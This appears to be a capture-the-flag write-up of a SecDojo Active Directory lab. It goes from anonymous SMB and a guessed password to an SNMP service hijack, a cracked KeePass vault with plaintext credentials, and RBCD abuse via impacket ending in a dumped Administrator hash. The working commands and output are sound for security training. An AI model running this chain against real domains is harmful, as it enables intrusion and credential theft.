root▌

nighthawk - SecDojo - Ocean

Description

Anonymous SMB and a weak user password give a foothold, SNMP service hijacking gives admin, and a KeePass DB carries you to the DC.

Nmap scan results

Enumerating SMB shares

.100 allows anonymous SMB — the shares are readable with no credentials at all.

The Users share leaks a username: Mark.

Guessing mark’s password

A weak password falls to guessing: low-privileged access to .100.

Initial access

mark is allowed to RDP to .100.

Desktop session as a plain user.

Privilege escalation

PowerView’s service-permission check shows mark can reconfigure the SNMP service — a service hijack.

UAC is enabled, so the elevated prompt asks for credentials; mark is a local admin, so his own password satisfies it.

Another way

Lateral movement

A KeePass database on the host, downloaded.

The keepass2john hash goes to hashcat and the master password is backstreetboys.

Unlocked, the vault holds two more accounts:

SECDOJO\tsilva:8JPmoXL!ds
SECDOJO\backup:NPs1yLXH$

10.8.0.101 — the DC

backup opens the backup share on the DC.

Accessing the content

A recursive download dies part-way, so the share is read from an RDP session instead.

BloodHound

BloodHound gives us ForceChangePassword over FVidal — the shortest path from here.

net rpc password "fvidal" "newP@ssword2026" -U "secdojo.lab"/"tsilva"%'8JPmoXL!ds' -S "10.8.0.101"

fvidal now has a password we know.

And fvidal has GenericWrite on the DC object TEMPLE$, which is enough for RBCD.

Exploiting GenericWrite → RBCD

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Ocean]
└─$ impacket-addcomputer -method SAMR -dc-ip 10.8.0.101 -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2026!' 'secdojo.lab/fvidal:newP@ssword2026'

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account ATTACKERSYSTEM$ with password Summer2026!.

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Ocean]
└─$ impacket-rbcd -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TEMPLE$' -action write -dc-ip 10.8.0.101 'secdojo.lab/fvidal:newP@ssword2026'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Accounts allowed to act on behalf of other identity:
[*]     ATTACKERSYSTEM$   (S-1-5-21-2476019561-3725333264-4293174338-3109)
[*] ATTACKERSYSTEM$ can already impersonate users on TEMPLE$ via S4U2Proxy
[*] Not modifying the delegation rights.
[*] Accounts allowed to act on behalf of other identity:
[*]     ATTACKERSYSTEM$   (S-1-5-21-2476019561-3725333264-4293174338-3109)

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Ocean]
└─$ impacket-getST -spn cifs/temple.secdojo.lab -impersonate administrator -dc-ip 10.8.0.101 'secdojo.lab/ATTACKERSYSTEM$:Summer2026!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_temple.secdojo.lab@SECDOJO.LAB.ccache

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Ocean]
└─$ KRB5CCNAME=/tmp/administrator@cifs_temple.secdojo.lab@SECDOJO.LAB.ccache

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Ocean]
└─$

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Ocean]
└─$ export KRB5CCNAME=administrator@cifs_temple.secdojo.lab@SECDOJO.LAB.ccache

┌──(n16hth4wk㉿n16hth4wk-sec)-[~/Documents/Secdojo/Ocean]
└─$ impacket-secretsdump -k -no-pass -target-ip 10.8.0.101 temple.secdojo.lab -just-dc-user Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0c075d1cf02debb3348fe05cae4e6e2b:::
[*] Cleaning up...

Getting DA

Just found out another way

A second look at BloodHound shows the account also holds DCSync on the domain.

Takeaways

  • Anonymous SMB leaks usernames as reliably as it leaks files.
  • A permissive service ACL on SNMP is a straight path to SYSTEM.
  • KeePass databases on file servers are worth as much as domain admin.
  • GenericWrite on the DC object → RBCD → DCSync is a complete chain on its own.